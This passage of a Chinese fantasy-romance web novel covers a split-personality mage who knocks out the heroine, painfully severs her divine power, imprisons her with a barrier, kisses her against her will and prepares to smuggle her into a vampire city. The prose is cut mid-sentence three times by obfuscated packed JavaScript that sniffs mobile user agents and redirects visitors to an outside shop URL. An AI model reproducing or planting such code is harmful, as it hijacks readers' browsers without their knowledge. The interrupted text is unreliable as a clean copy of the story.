“什么?”咪莉顿时惊慌起来,她跑到纳罗身边,双手一起摸摸纳罗的脸,“你的体温好低,发生什么事了?什么时候受的伤?我怎么不知道?你笑什么啊,快告诉我。” 都这个时候了这混蛋还有力气笑,肯定又是说谎骗她。 可是他的身体真的很差。 咪莉皱着眉,着急得不知道怎么办。 纳罗握住她的手放在身上笑道:“不是盼着我早点消失吗?原来咪莉这么关心我。” “喂,我想你消失,不是这种消失啊!” 她是再也不想见到纳罗和苏法尔任意一个人,但纳罗这样病恹恹还一副深情款款抱着她说些疑似伤感的话,她就狠不下心啊。 可恶,她这该死的良心,果然自己做不了一个冷血无情的人。 看着咪莉笨拙到用另一只空闲的手到处在他身上按来按去,像是要确定他的伤口在哪里一样手忙脚乱。 埃比优大陆的静谧阳光,不同于莫加侬墨本大陆的阴霾昏暗,真的是让人倍感亲切和温暖。 他半眯着眼,殷红长发在阳光中格外耀眼,似有无数星点跳跃在他的发梢,他慢悠悠地说:“刚刚逗你的,跨大陆太远了,启动魔法阵耗尽了我的魔力,我休息一下就好了。” “真的?”咪莉狐疑地望着他,心里也稍微安了点心,她摸摸纳罗的手背,语气微叹,“这次辛苦你了。” 纳罗歪了歪头,嘴角的笑容明媚蛊惑:“咪莉还记得会答应我一件事对吗?” 咪莉点点头,黑色双眸有如小鹿般。 现在就要说了吗?拜托千万不要是什么奇奇怪怪的要求啊。 她在心里默默祈祷着。 纳罗把咪莉拉进怀里,让咪莉坐在他腿上,他用手揉揉咪莉的小巧耳垂,温热的呼吸拂过咪莉的头顶。 “哎你干嘛?”咪莉想要起来,但被纳罗紧紧搂着,她左扭右扭都出不来,慌乱地瞟了眼周围那三个客人,并没有人注意她和纳罗。 “抱一下嘛。”纳罗说着,声音似乎有种奇怪的魔力,让咪莉不再乱动了,静静地坐在他怀里。 她等着纳罗开口说要求,结果纳罗一直都只是摸摸她的耳朵、脸颊、还有头发,期间没有说话,只有他沉重的呼吸越来越扰乱她的心神。 她坐不住了,要推开他起来,但是他的力气越来越大,勒到她的胳膊都觉得疼了。 明明魔力几乎耗尽,身体虚弱,却还要使这么大劲儿。 咪莉朝他侧了侧脸,眼睫在金色的光晕中染上淡淡的颜色,睫毛尖儿上像是有闪光的十字小星星划过,她轻轻开口喊了一声:“纳罗?” 纳罗的脸凑过来,嗓音黏糊糊的,像被外面太阳晒得蔫吧了一样没力气:“咪莉……” 他舍不得她,她的味道就像某种花一样清甜,闻之醉人,如蝴蝶流连花瓣。 咪莉被他的呼吸吹得脖子痒痒的,她不满地推了一下他的脑袋,他却就这么昏过去了,下巴搭在她的肩上,双眸紧闭,长长的睫毛垂落,像两把直楞楞的小刷子。 “纳罗?!”咪莉心一颤,赶紧把手指伸去他的鼻息下探了探。 还好,没死。 咪莉从他怀里起来,扶着昏倒的他靠在椅子上,请店里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176905|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一名男性服务员帮她把人带到距离这里最近的一家酒店。 她不确定等人醒过来后还会不会是纳罗,为了避免不在大庭广众下让纳罗变身苏法尔,还是找个酒店保险些。 但是刚出店门,纳罗就这么当众变身了。 晨曦中,他的红发被微风吹起,发丝轻舞间慢慢变成了夜色般的短黑发,人也是顷刻醒来,睫毛掀起时,雪一样的银眸已经不复存在,取而代之的是一片浓黑。 “苏、苏法尔?”咪莉愣怔地望着从服务员肩上站好的他,眼中大为惊奇,她没有见过一个人在她眼前变成另外一个人的过程,就好像使用了易容魔法一样神奇。 苏法尔朝她看过去,幽邃黑瞳是一汪不见底的黑海,寒冷彻骨。 只是下一秒,那片寒冷便染上一层笑意,柔和许多:“嗯,是我。” 咪莉对旁边已经看傻眼的服务员道谢后,拉着苏法尔走到一处巷口拐角说:“苏法尔,你可出来了,你知道吗,我吃的不是什么传送果,我们现在是回到了一百多年前。” 苏法尔淡定地轻点下头:“我知道,你和纳罗这几天的事我都可以看见。” “啊?”都可以看见那是什么意思? 咪莉呆呆地眨眼,心想难道苏法尔没出来时也是清醒的,然后可以感受到纳罗所做的行为? 苏法尔没有回答她的疑惑,而是沉思道:“从目前情况来看,你吃的应该是空间跳跃果。” 见咪莉的表情更加迷茫,苏法尔耐心解释道:“就是从我们年代跳跃到了一百多年前的平行时空。” 他展了展自己的两只胳膊给咪莉看:“你看,如果是穿越回来,我的身体应该也变成几岁模样,但是没有,所以这里应该是个平行时空。” “我懂你的意思……”咪莉顿了下,重重地叹口气,语气满是疲惫,“但是我觉得这一切好混乱啊。” 以为回到家了,结果却是一百多年前的平行时空。 “别担心,可以操纵空间跳跃的魔法师需要半神级别,我是能做到的。”苏法尔看着倏然抬头眨着犹如星子般闪亮的某人,“只不过也是需要材料画魔法阵。” 有办法回去已经很开心了,过程难点也无所谓,咪莉虽然心累,但还是眼巴巴问:“什么材料?我们马上收集。” 苏法尔不疾不徐地挽唇:“不急,我们先找个酒店。” 咪莉点点头,认为苏法尔应该是刚出来有些乏想休息下。 他们来到一家店面朴素的小旅馆,这是最近的一家了。 苏法尔要了两间客房。 咪莉有些惊讶,苏法尔像是知晓她的疑惑后解释道:“这里没有任何危险了。” 咪莉了然地“哦”了一声,这里是她的家乡,确实是没有任何危险的地方,她没有必要再和苏法尔住一间屋子,苏法尔这点倒是想得周到。 只是觉得苏法尔好像在疏远她,可能她的这种感觉来得很是莫名其妙,但相比之前苏法尔的行为,主动分房这点的确很奇怪。 难道又在打什么坏主意? 上了楼后,来到两间房门前,满脑子疑惑的咪莉准备回头跟身后一直默然不语的苏法尔要她的房卡,但是突然遭到袭击,有温热的东西带着猛劲砸在她的后颈,令她身体一阵麻痹,意识瞬间全无。 苏法尔上前一步接住软绵无力的咪莉,她的脑袋晃了两下后靠在他的胸膛上,安睡的脸庞如粉蔷薇一样纯真清透。 苏法尔插入房门的卡,魔法晶石亮起冰蓝色的光芒,房门“滴”地一声开启,他弯腰勾起咪莉的双腿进入房间,用肩膀关上门,走到床边把咪莉放下。 34.切割神力 塔朗镇的清晨静谧如画,每一座阁楼沐浴在温暖的阳光之中,旅馆的窗户开着,一阵清风吹来,带着房檐上坠落的藤蔓幽香,轻抚着屋内人的脸庞。 苏法尔坐在床边,洁白的床单让陷入昏睡中的咪莉显得更加清纯动人,她的黑发落在枕头上,让人忍不住去触碰她的额发。 苏法尔这么做了,他用两根手指细致整理着咪莉有些凌乱的额发,然后情不自禁地流连到她白嫩的脸边,像是蜜蜂轻蛰一下,很快离开。 他被纳罗压制的这几天,都清清楚楚地感受着咪莉的一举一动,她动怒时的张牙舞爪,羞臊时的脸红几乎滴出血,喜悦时眼睛明亮如星,他都在意着。 他作为一个旁观者,又快乐又嫉妒。 快乐的是看着她就会让人觉得心情愉悦,嫉妒的是在她身边的人不是他。 以往他和纳罗的记忆互相不通,两个人各做的事虽然会有点感应,但并不知道具体事件,但这次不知为何,他没有沉睡,像一个被囚禁在笼子里的人眼睁睁看着另一个人格的经历。 苏法尔安静沉思着,忽然皱起眉,想到或许纳罗现在也是一样的情况?在他体内看着他所做的一切。 他的嘴角缓缓勾起一抹笑容,像是浸着毒药的糖果,看似甜蜜实则剧毒,他站了起来,不知是在对谁说话:“她接下来会很痛苦。” 他闭上眼睛,神色平淡,双手托起的时候掌心浮现出暗红色的光芒,和他以往用的魔法完全不同。 这次他使用的魔法是黑暗魔法,残忍血腥,狠厉到那红色的光团像无数利箭快速冲向咪莉的体内。 沉睡中的咪莉疼得顿时浑身颤抖起来,尖叫出声。 苏法尔眸光微闪,他犹豫了片刻,又送了一团几乎接近黑色的红色浓雾到咪莉身体里,他要将咪莉之前融合的圣女神力与咪莉切割,这样才能确保到时取神力的时候不会要了咪莉性命。 咪莉醒不过来,她觉得自己是在一个扭曲黑暗的噩梦中,浑身血肉像被用锋利的钝锯来回割裂,血液从她体内流失,骨髓深处是惊心的冷痛,有冰凉刺骨的海水一遍一遍浸泡着她,刺激着遍体鳞伤的她。 她疼得一直喊“妈妈”、“纳罗”、“苏法尔”,到最后连背叛她的奥倾名字也喊了出来。 终于有人握紧了她的手,把她抱进怀里。 “乖,咪莉,很快就不疼了。”苏法尔坐到床沿,从背后紧紧抱着抖得宛如飘在风雨里一片碎花的咪莉,他知道咪莉此刻正在经历着切肤之痛般的折磨,用袖子擦去咪莉脸上渗出的冷汗,不停地出声安抚着她。 大概是因为听到了苏法尔的声音,咪莉哭叫着他的名字,像是抓住救命稻草一样回握住他的手指,冷汗浸湿了他的指节。 她说她疼死了,有坏人拿铁锯在她身体里剜肉。 之后便是不停地叫着他。 苏法尔拥着她已经被汗染湿的身子,抚摸着她的长发,心里不禁苦涩,如果咪莉醒来发现做这一切的人是他,她会是怎样的态度呢? 大骂他混蛋?然后和他打起来? 苏法尔闭上眼睛,感受着怀里这具身躯的娇小脆弱,他的心也在跟着发颤。 这样痛苦折磨的过程不知持续了多久,咪莉终于安静了下来,她的脸上湿漉漉的,汗水混着眼泪,下唇咬出了血,看起来狼狈极了,连两只手心也是掐出的深壑指痕。 将至中午,天气晴朗,白嫩嫩的云朵游过了窗外,靠在苏法尔胸膛前的咪莉终于醒了。 她的睫毛都是颤抖的,像是还没从钻心的疼痛中缓过来劲儿,睁开眼睛时,双眸涣散,一层湿润覆在她的斑驳黑瞳上。 见咪莉醒了,苏法尔握了握她的手:“咪莉?还好吗?” 当他说完,就清晰地感受到怀中的人身子猛烈一颤。 随后不顾一切地从他怀中爬出去,靠在床与墙壁的夹角里蜷缩着身子,那副黑眸充满恐惧,她的双唇颤动着,似乎在说什么。 苏法尔愣了愣,他没有料到咪莉会是如此的反应,这一刻他的心里有某种情绪冲击着他堵塞的心,是浓烈到想要杀人的后悔。 极力克制自己内心的失控,他放柔语气,哄慰着上前道:“没事了,只有这一次会有点疼。” 有点疼……他把这种蚀骨钻心的绝望痛楚说得如此轻描淡写。 咪莉看着这个男人朝自己伸来的双手,上面留着四个小小的月牙指痕,有三个还破了皮渗出了血珠。 她明澈到如湖水流过的氤氲瞳孔一瞬微缩,那双手就像一双捏着她心脏的利爪,只要五指一收拢,她的心脏便立刻爆破而亡。 她差点忘了,苏法尔一直都在利用她,是个对她的存在具有威胁的危险人物,她什么时候对苏法尔放下了警惕? 是在他带她使用瞬移魔力耗尽虚弱至极的时候,还是两人一起走出沙漠的时候?她没有注意过,只是现在她必须重新审视两人的关系了。 苏法尔对她来说,是敌人。 咪莉挥开他伸过来的手,睁大的双眸里满是敌意,刚刚疼痛中的哭喊已经让她的嗓子嘶哑枯涸,说话间喉咙还有撕裂似的生疼:“你不要过来……” 她刚说完就捂着胸口闷闷地咳嗽起来,清秀的眉间是揉不开的难受。 苏法尔的心里不知是什么滋味,他好久没看到咪莉这样的眼神了,恐慌、脆弱,像是看到什么可怕的怪物瑟瑟发抖。 他只要再稍微前进半步,她就作出防备的姿态,她伸出手想用火焰咒,却因刚被切割过神力而无法顺利施法,急到最后咒语念出了声时,身体一下子弓了起来,像一个小虾米蜷缩着。 她感受到五脏六腑都在叫嚣着疼痛,驱动的魔力就像冰冷湿咸的海水漫过她伤痕累累的心肺内壁,伤口上撒盐的疼痛也不过如此。 “咪莉,不要使用魔法,你的身体承受不住。”苏法尔再无法忍受,他跪上床强制地攥紧她的手腕,强大的身躯瞬间笼罩着她,阴影遮盖着她怕到快要哭泣的脸庞,“我说过,只会疼这么一次。” 他的态度强硬,语气也全然没了温柔,眼神锋利尖锐,直直地透视进她柔软的心。 咪莉终于无法冷静,奋力在他手中挣扎,情绪如同决堤的洪水,眼泪也瞬间夺眶而出:“你这个恶魔,你松开我!” 苏法尔镇静地看着她像在蛛网上不断挣扎般拼命,行动比大脑先一步作出决定,他扣住咪莉的后颈按向自己,一个毫无温度的吻落在她满是泪水的湿濡唇上。 她愣住了,挣扎瞬间停止。 苏法尔半阖着眼,看着那颗挂在她下睫毛上的透明泪珠垂落,他微伸出舌尖,舔舐去她软唇上的泪水。 咪莉终于反应过来了,被苏法尔舌尖触碰到的那刻,感觉像是被一只有钳子的虫子夹了一下,令她肉眼可见地一颤。 “唔……”她皱着眉要推开她,却是徒劳,他就像一座雄山围困着她,把她逼近这一个小小的角落,内心的恐惧不断扩大,眼泪越流越凶。 苏法尔没有再继续,他离开咪莉的双唇,仿佛刚才的动作就只是单纯地要擦去她唇上的泪水。 “纳罗这样对你的话,你是不是不会害怕?” 做出这样怪异的举动后,他却是问着这样莫名其妙的问题,表情竟有些许的迷惘空旷。 咪莉不解地看着他,咬紧了下唇,眼中仍然是对他的深深怨恨,也不禁分神思考着苏法尔的话,如果纳罗再次亲吻她,她会怕吗? 她不知道,预设的情况,谁能猜得到准确后果,她不愿费神去猜。 咪莉看着这个眼底深不可测的人,泛红的眼眶中泪水摇摇欲坠:“你为什么要这样对我?” 苏法尔轻轻笑起道:“你问的哪一件事?打晕你这件事,还是吻你这件事?” 咪莉的眉心皱得更紧,权衡下,她选择问第一个问题:“打晕我这个。” 苏法尔眨了下眼眸,他的黑瞳此刻变得清澈如少年:“你之前让圣女神力跟你融合了对不对?你忘了我说的吗,我要用你的神力复活我父亲的。” “我没忘。”咪莉恨恨地咬着牙,放在苏法尔胸前的双拳紧握起来。 “融合了我就不好取出来了,咪莉,下次不要再这样做了,知道吗?”他用很柔和的语气劝导着,就像一个温善的老师在循循善诱教学生下次不要再犯错了。 他的手从咪莉后颈移下来的时候,指腹摩挲了下她耳后娇嫩的肌肤,嘴角扬起一个小小的弧度:“打晕你是怕你不配合,切割神力是很痛苦的过程,刚刚我对你施的魔法就是切割,不过你放心,你的内脏没有受到实质的伤,只是会有点麻痛而已,还有短期内不要使用魔法,会刺激你的脏腑,消耗你的精神力。” 一提起刚才那仿佛用刀将她的血肉筋脉与骨头分离的恐怖梦魇,咪莉便止不住地颤抖,双唇委屈地一扁,泪水就这么唰唰又掉了下来,楚楚动人里又满是凄惨。 看着她瞪向自己的水漾双眸,苏法尔就明白,自己和咪莉之间已经筑起了一道深厚高墙,他要想再次过去,将难如登天。 他承认自己对咪莉的做法有些鲁莽了,而原因全是自己的傲气在作祟。 他无法忍受自己在意的女孩子与另一个男人亲密接触,不论是她的男友奥倾,还是自己另一个的人格纳罗。 “饿不饿?我去给你点餐。”她没什么话再说,他也不想继续这个话题。 咪莉别过去脸,和他怄气不说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196957|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏法尔从床上下来,出门前看了眼咪莉,才关上门离开。 室内归于一片安静,窗外的阳光就这么打在洁白床铺上,与咪莉只有一臂之隔,她只要一伸手就能摸到那温暖的光柱,可她发呆了片刻后,就把脸埋在膝盖里低低地哭了起来,体内仍然残留着刮骨般的阵痛,她不敢大哭,也不敢再尝试使用魔法,等到没力气了,才下床去开门,然后发现一层无形的结界阻挡着她。 一看就是苏法尔为了防止她逃跑设下的。 怪不得会分房了,用结界困住她,即使不在一间屋子也能看管着她。 咪莉恼怒地在结界上砸了一下,那层透明的结界就像软弹的布丁,对她没有半分伤害,当然结界也没有完好无损。 她跑去窗户那边,朝外探头,发现这整座旅馆都已经被这个结界包围,有人可以出去,困住的只有她,忍着渗人的剧痛尝试使用了一次瞬移也没有效果,因为神力被分离,她的修为被迫倒退,连个简单的防御罩也无法施展了。 苏法尔你这个大混蛋! 咪莉在窗框上重重锤了一下,眼前斑斓的热闹世界虚晃一片,她花了眼,身子轻飘飘的,忙扶着窗框移到床边坐下,低着头,缓解着体内的虚乏,内心再次委屈起来。 苏法尔没有在旅馆点餐,在这条街上比较出名的餐馆买了些好吃的,回去后咪莉看都不看,把自己蒙在被子里。 苏法尔嘱咐了几句就出去了,半句没提他设下的牢笼结界。 咪莉本想赌气绝食,可不想让自己虚弱的身体再受饥饿,便乖乖吃了起来。 吃饱了才有力气反抗,她不可以半死不活的。 苏法尔带来的是一些肉粥,倒是很提她的胃口。 吃完饭后,她在房间里无所事事,魔法暂时不能修炼,这里也没有一本书,只好坐在床边看着大街上的人来人往,这么一坐,就坐到了天黑。 苏法尔回来了。 他的身形与气质太过独特非凡,人群中也能立刻焦点到他。 他从远处的十字路口大步走进这条街巷,一只手揣着黑色风衣的口袋,另一只手提了些东西,黑发在路灯的光晕下变得寂寥朦胧,他脸上的表情在她这个二楼高度看不太清楚。 大约有五分钟左右,她的门被打开,室内的灯也被打开,苏法尔的声音传来:“怎么没休息?” 苏法尔看了看餐桌,上面的食物被吃得挺干净,只留了几个生煎包和红豆馅饼,他把带来的晚饭拿出来摆在桌上。 咪莉没有回答他,脸色凉了许多。 苏法尔走过来站在她身边,他高挑的身形在地板上投下一道长长的影子,和咪莉一起望着底下的街景:“过两天我要去一个地方,带上你会不方便,但是你不在我身边我又不放心。” 他沉吟着,似乎在思考一个两全其美的方法。 咪莉看向他问:“你要去哪里?” 她并不担心苏法尔会丢下她一个人独自回到属于他们的年代,毕竟苏法尔还要靠她复活他父亲。 苏法尔黑漆漆的目光落在她苍白的小脸上:“一个有你痛恨的人的地方。” 咪莉微微皱眉:“我痛恨的人?” 苏法尔没有说话,只是静静地看着她。 她想了想,自己现在唯一痛恨的人应该非苏法尔莫属,她不想见到他。不过苏法尔话里的意思应该不是指他,那就是另一个可能性——要带她去血族不夜城血祭的奥倾。 这个人清晰的身影忽然间又闯入了她刻意遗忘的记忆之中,胸口又开始闷闷作痛,无法舒缓。 一百多年的他,又会是什么样子的? 咪莉看向苏法尔,眸光闪烁着一丝坚定:“不,我要去。” 苏法尔略微诧异地睁大些眼眸,而后轻轻一笑:“我明白了。” 像是被人看穿了心事一样,咪莉咬了咬下唇不再看他,垂下脑袋看着平滑的窗台。 “吃饭吧,吃完多休息身体就好了。”苏法尔抚摸着她的头顶,看了看床铺,“今晚要我陪你睡吗?” “你要是不怕我半夜偷袭你就留下。”咪莉起来走到桌旁,打开一只白色纸盒,看见里面的蜜糖面包片皱眉嫌弃道,“我不想吃甜的。” “吃甜的心情会好。”苏法尔淡淡说道,随性地靠在了窗边,外面温馨的夜空就像一幅画框镶嵌在他的背后。 “看见你我心情根本好不了。”咪莉放下手在腿边,倔强地说,“我不吃,我要吃美瑞街上那家老门店卖的咸口米包饭,麻辣小香猪肉混青甘菜馅儿的,否则我今晚不吃饭。” 苏法尔沉默地看着她了几秒,轻轻叹了口气:“我知道了,先喝些牛奶吧,我马上回来。” 35.你就是我献祭的祭品 苏法尔到美瑞街看见那家咪莉所指的老招牌店后,才轻舒一口气,幸好一百年前这家店也是存在的,不然他还真拿咪莉没办法。 晚饭时,苏法尔留在咪莉房中,他还顺手买了两本书回来,坐在床尾安静地看书,房间里只有一张椅子,咪莉坐在上面吃饭。 “我吃饱了,要休息了。”咪莉用纸巾擦擦嘴,起来看向苏法尔,明澈的双眸里含义再明显不过。 你还不离开? 苏法尔接收到了咪莉的无声驱赶,合上书后淡淡一笑:“好,早点休息。” 他慢慢踱步出房门,在转身想说些什么的时候,房门已经被咪莉“啪”地关上。 苏法尔微微皱眉,抬手想敲门,手指还没落到门板上时便停了下来,心里憋了点气。 算了,让她一个人好好安静吧。 这两天咪莉都没能出门,苏法尔每日三次地准时来她这里送饭,顺便坐一会儿,不告诉她去血族不夜城的目的,也不告诉她任何计划。 咪莉是个喜欢碎碎念的人,跟这样一个每天一声不吭沉浸在自己世界里的男人坐在一起简直就是种折磨。 她会在苏法尔坐在窗前那把椅子里看书时提起纳罗,说纳罗性格温柔又懂事,她想要的想做的纳罗都会满足她,不想要的不想做的纳罗也不会强迫她,总之纳罗千般好,比另一个主人格强很多很多。 苏法尔起初听了后只是抬头看她一眼,然后嘴角扯出一个特别细微的弧度,继续无动于衷地低头看书。 无聊到望着天花板数鸭子的咪莉想激怒他找乐趣,看看他的底线是什么,纳罗的存在无法激怒他,她就换件事。 咪莉在床上翻了个身,跟被子扭成一个麻花,白嫩嫩的脚丫子被太阳的光线晒得泛粉,她靠在枕头上,像是话家常一样地喋喋不休:“你这人这么没趣,还专横嚣张,动不动就威胁人,从小到大肯定没一个小朋友愿意跟你玩儿,就算有小朋友跟你玩儿,也是被你逼的。” 她看着自己有些变长的手指甲,顿了顿,坐起来从床头柜拿指甲钳便开始修:“你就像个站在一个小山头的小恶霸,拿着根破木棍当魔法权杖,然后威逼小朋友们做你的手下,不听话的你就要拿棍子揍他们。” 咪莉不喜欢留指甲,总是剪得圆润整齐,她盘着腿坐在床边,低头专心着修整手指甲,剪完一只手后抬起头看向苏法尔,发现他正微愣地看着自己,她哼了一声:“看什么看,我说的不对吗?你就是个不顾人意愿我行我素的霸权者。” 她把脸气呼呼地一扭,继续低头剪指甲,蹙起的细眉里满是对这位霸权者的不满:“你没有纳罗好,纳罗会听我话,他不会吓我……” 过了几秒,咪莉听见的是苏法尔走路的脚步声,皮鞋哒哒的,朝门外方向走去。 “我出门一趟,晚上八点……不,七点就回来。”苏法尔想到昨晚八点回来时咪莉埋怨质问他为什么回来那么晚,她肚子很饿之类的话,就改了话头。 咪莉没有回答他,只是默然地看着他打开门,然后走出去,他转身关门的时候,两个人视线交接在一起。 苏法尔先避开了她含有某种期盼的目光,垂下眼眸关上门,然后在门外停留了几秒才略微疲惫地离开。 室内没有了另一个人,咪莉低下脸,用指甲钳的矬子磨着她剪好的指甲,不知为何,鼻头一阵酸涩,委屈感扑面而来。 可能是因为这里是她不熟悉的一百年前,也可能是太久没见到妈妈,一个人的孤独感在此刻强烈升腾,她刚刚竟然希望苏法尔不要走。 这真是个奇怪又糟糕的念头,她一定是在孤单了,想找个同伴在这个陌生世界陪着自己而已。 这天晚上,苏法尔提前回来了,不仅带了晚饭,还带来一套装在一个金色盒子里的衣服。 咪莉打开盒子后,便立刻被里面的衣服吸引了,她从来没有见过这样华丽精致的礼服,彩金色的丝绸布料细软单薄,湖绿、粽色、雪白等各色交杂的羽毛装饰就像一只花枝招展的凤鸟栖息在衣服领口。 “这衣服是?”咪莉小心翼翼地从盒子里拿出这件奢华繁琐的礼服展在床上问道,眼里满是对这件衣服的惊讶和赞赏。 苏法尔站在她身旁,终于提起了他的计划:“我们明天出发去不夜城,这是你明天的装备。” “装备?”咪莉的眼神有一瞬不解,然后继续低头摆弄这件裙子,裙子的下摆很长,里面罩着一层白色蕾丝内衬,外面缀满五颜六色的宝石和珍珠,这不像是件裙子,而是一件该摆在展览馆中的工艺品。 看得出来咪莉对这件裙子爱不释手,苏法尔的脸色也很愉快:“明天会有一个地区向血族上供一名少女,你明天顶替这名少女,和我潜入不夜城。” 咪莉愕然地转头看向他:“潜入?” “难道你以为我是带你去不夜城做客吗?” “……”她确实是这么想的,“因为你有魔族血统啊,魔族和血族不是交好吗?所以我以为你会作为客人去逛血族呢。” 苏法尔有些没好气地看着她:“普通客人很难接触高层,无法达到我的目的,献祭队伍不一样,可以和至少公爵以上的身份接触,我会作为献祭队伍的队长,你就是我献祭的祭品。” 咪莉终于舍得放下那件闪闪发光的裙子,在柔软的裙摆处轻轻拍拍,然后问出她这两天一直好奇的问题:“你去血族想做什么?” 计划这么周详,肯定不是什么好事,总感觉自己上了贼船,但她说过要去不夜城就不会改变了。 苏法尔对她微微一笑:“取一样宝贝。” 然后不管咪莉怎么问,他都不再说了。 可恶可恶,话只说一半吊人家胃口。 咪莉发现自己好像对苏法尔又卸下了那么一点防备,这样最后被人家卖了都不知道,便重新板起脸坐到桌边吃晚餐,然后深感装深沉的不易,苏法尔这人好像可以轻易勾取别人心的男妖精。 看着忽然脸色沉郁且懊恼的某人,苏法尔心情相当不错,他似乎低估了自己在某人心里的地位。 第二天一大早,天气不太好,阴云密布的,咪莉六点就被苏法尔进门的动作惊醒了。 他的手很凉,钻进被窝里落在咪莉软软的后腰。 咪莉喜欢赖床,他不得不这么做。 咪莉没有穿睡衣,当然也是因为这里没有条件给她穿睡衣,冰冰凉凉的爪子刚碰到她的肌肤时她就细声惊呼起来,从被子里声势浩大地翻身,露出一张气到五官都全部在斥责苏法尔的脸:“你好烦啊!” 苏法尔笑笑,把那只还留有她肌肤温热的右手揣进裤子口袋里说:“今天我们得早点出发,起来吧,我带了你喜欢吃的酸奶酥块。” 咪莉抓了抓乱乱的头发,瞅了瞅窗户外面的天色,和她的脸一样阴沉,不情不愿地从被子里坐起来,一脸的“没睡醒本人不想说话”表情。 半个小时后,两人简单地用完早餐,咪莉也换上那件她心仪的彩金色长裙,心情总算是转好了些。 这件裙子将她的身形衬得修长曼妙,布料柔软到可以清晰印出她肋骨的位置,领口巧妙的羽鸟设计让她就像一只森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209931|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林里温婉神秘的精灵美人,裙摆如浪,宝石闪熠,她伸手梳理着垂在胸前的长发时,苏法尔捉住她的手,给她套上一只淡红色玉石镯子,戴在手上的感觉沉甸甸的。 咪莉疑惑地看向苏法尔,苏法尔举起她的手将镯子上镶嵌的一颗黑玛瑙指给她看:“有危险的话按这个,会出现五只亡灵死士保护你。” 亡灵死士?她长这么大还没见过这种东西。 见咪莉一副现在就想按下的跃跃欲试态度,苏法尔忙抓回她的手指头阻止:“只能召唤一次,用了就没了。” “好吧。”真可惜,还以为可以召唤好多次呢。 咪莉继续梳理着长发,苏法尔把她拉到床边坐下说:“我帮你。” 咪莉便坐在那里由苏法尔给她梳头,他在她脑袋两边编织了两缕小辫子压在耳朵后,最后摸摸她的头顶说好了。 咪莉百无聊赖地点点头,起来看了看过长的裙摆:“我要这么出去吗?” “我们瞬移出去。”他抿抿唇,有些犹豫般开口,“我抱着你吧,裙子太长不方便你活动,等到了地点就有马车了。” 原以为咪莉会拒绝,她却只是无奈地叹气:“好吧。” 怎么抱就成了个算不上大问题的小问题,公主抱会影响苏法尔的一些动作,背着的话会显得这样优雅美丽的一身变得有些尴尬。 在两人沉默的对视一分钟后,苏法尔走上前,把咪莉像抱孩子般掂起,让她的臀部坐在自己的一只胳膊上。 好吧,个子矮的好处算是体现在这种毫无意义的事情上了。 咪莉犯窘地用一只手揽住他的脖子,俯视着地上的木质地板,感慨原来这么高的视角是这种样子。 “出发了。”苏法尔温声提醒她道,然后两人消失在旅馆内。 经过二十分钟的长距离指定地方瞬移,他们来到一个路线弯弯绕绕的树林之中,运气不太好,天上下起了毛毛雨。 “你累吗?要不放我下来吧。”咪莉双手揽着苏法尔的脖子,她已经几乎是面对面地挂在他身上被护着,他为了不让她淋到雨,用上了一层光罩,但寒意却隔离不了。 苏法尔把她身上披着的风衣外套拢了拢摇摇头:“你很轻,不会累的,地上都是泥土,会弄脏裙子,还是抱着你保险些。” 咪莉左手抓着外套边沿,往苏法尔身上拽了拽,露出了自己右半边身子:“这个季节的雨天不怎么冷的。” “你的胸口起了一层鸡皮疙瘩了。”苏法尔的声音不咸不淡。 “啊?”咪莉恍然抬头看他,然后脸色有些怒气。 这个人的视线一直在看哪里啊! 咪莉不再理他了。 大概过了十多分钟,树林一方的尽头出现了一只行车队伍。 苏法尔压低了些声音:“我们的目标来了。” 咪莉也谨慎地点点头,由于紧张,她下意识地搂紧了些苏法尔的脖子靠近,以至于两人呼吸挨得有些近,她怔忡地看着苏法尔微垂的长睫毛,他的眼尾一挑,那双漆黑如夜的眼眸便朝她看了过来。 “你、你看什么?”咪莉更加紧张地问他,也不知道是因为要行动了还是因为别的原因。 苏法尔却什么都没说,只是静静勾着唇,然后眼瞳往下,笑意更深,两秒过后他转头继续盯着前来的送祭队伍。 咪莉纳闷地顺着他刚才低眸的视线也低头,看见几根棕色羽毛错综遮挡下的乳色圆弧,脸顿时烧灼起来,他这个视线真是把她看得一清二楚,再想起他刚刚那抹不明含义的笑,更是羞愧到无地自容。 36.初到血族不夜城 咪莉咬紧下唇,一只手盖住苏法尔的双眼,恶声恶气:“喂,你看了多久?” 苏法尔眼前一片漆黑,垂下眼皮,眼珠条件反射地蹭着她手心转了转,嘴角忍不住上扬一个弧度,老实答道:“从来的路上到刚才吧。” 她手心的温度在这阴雨天中格外温暖,心似乎也淌过道道热流,游向他的四肢,暖乎乎的。 咪莉顿时忍不住了,火气上涌,正准备发飙,被苏法尔拿下来手嘘声道:“队伍里有个魔法师,不要说话,以免被他发现什么。” 